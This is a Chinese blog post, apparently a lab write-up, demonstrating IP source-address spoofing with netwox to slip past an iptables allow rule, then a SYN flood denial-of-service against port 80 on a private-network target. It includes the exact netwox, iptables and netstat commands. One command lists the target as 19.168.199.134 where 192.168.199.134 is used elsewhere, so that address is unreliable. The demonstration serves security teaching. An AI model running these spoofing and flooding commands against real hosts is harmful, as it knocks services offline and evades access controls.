『网络协议攻防实验』IP源地址欺骗与dos攻击

Ho1aAs

于 2021-07-26 12:55:43 发布

阅读量3k

点赞数 1

分类专栏： # 安全技术实践文章标签：安全 ip欺骗 dos攻击网络协议攻防 netwox

本文链接：https://blog.csdn.net/Xxy605/article/details/119107224

版权

20 篇文章

订阅专栏

本文演示了如何通过IP地址欺骗绕过防火墙，并利用SYN Flood实施拒绝服务攻击。实验环境包括Kali Linux作为攻击机及Ubuntu作为目标机。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前言

靶机开启tcpdump监听

sudo tcpdump -i eth0 tcp port 80 -n -nn

配置防火墙，伪造许可的规则，222是我们伪造的ip

sudo iptables -A INPUT -i eth0 -s 192.168.199.222/32 -j ACCEPT
sudo iptables -A INPUT -i eth0 -p all -j DROP

在Kali上利用netwox进行IP地址欺骗，伪装成192.168.199.222，突破防火墙限制

netwox 52 -E "0:1:2:3:4:5" -I "192.168.199.222" -e "00:0c:29:6f:6a:d5" -i "192.168.199.134"

在这里插入图片描述

syn flood是建立在IP源地址欺骗之上的攻击

netwox 76 -i 19.168.199.134 -p 80

此时靶机的80端口会接收到大量不同来源的syn包

在这里插入图片描述

使用netstat查看连接情况，在防火墙的作用下攻击并未成功

netstat -antu | grep :80

在这里插入图片描述

接下来把防火墙关了，攻击成功，此时存在大量的syn半连接

iptables -F
iptables -X

netstat -antu | grep :80

在这里插入图片描述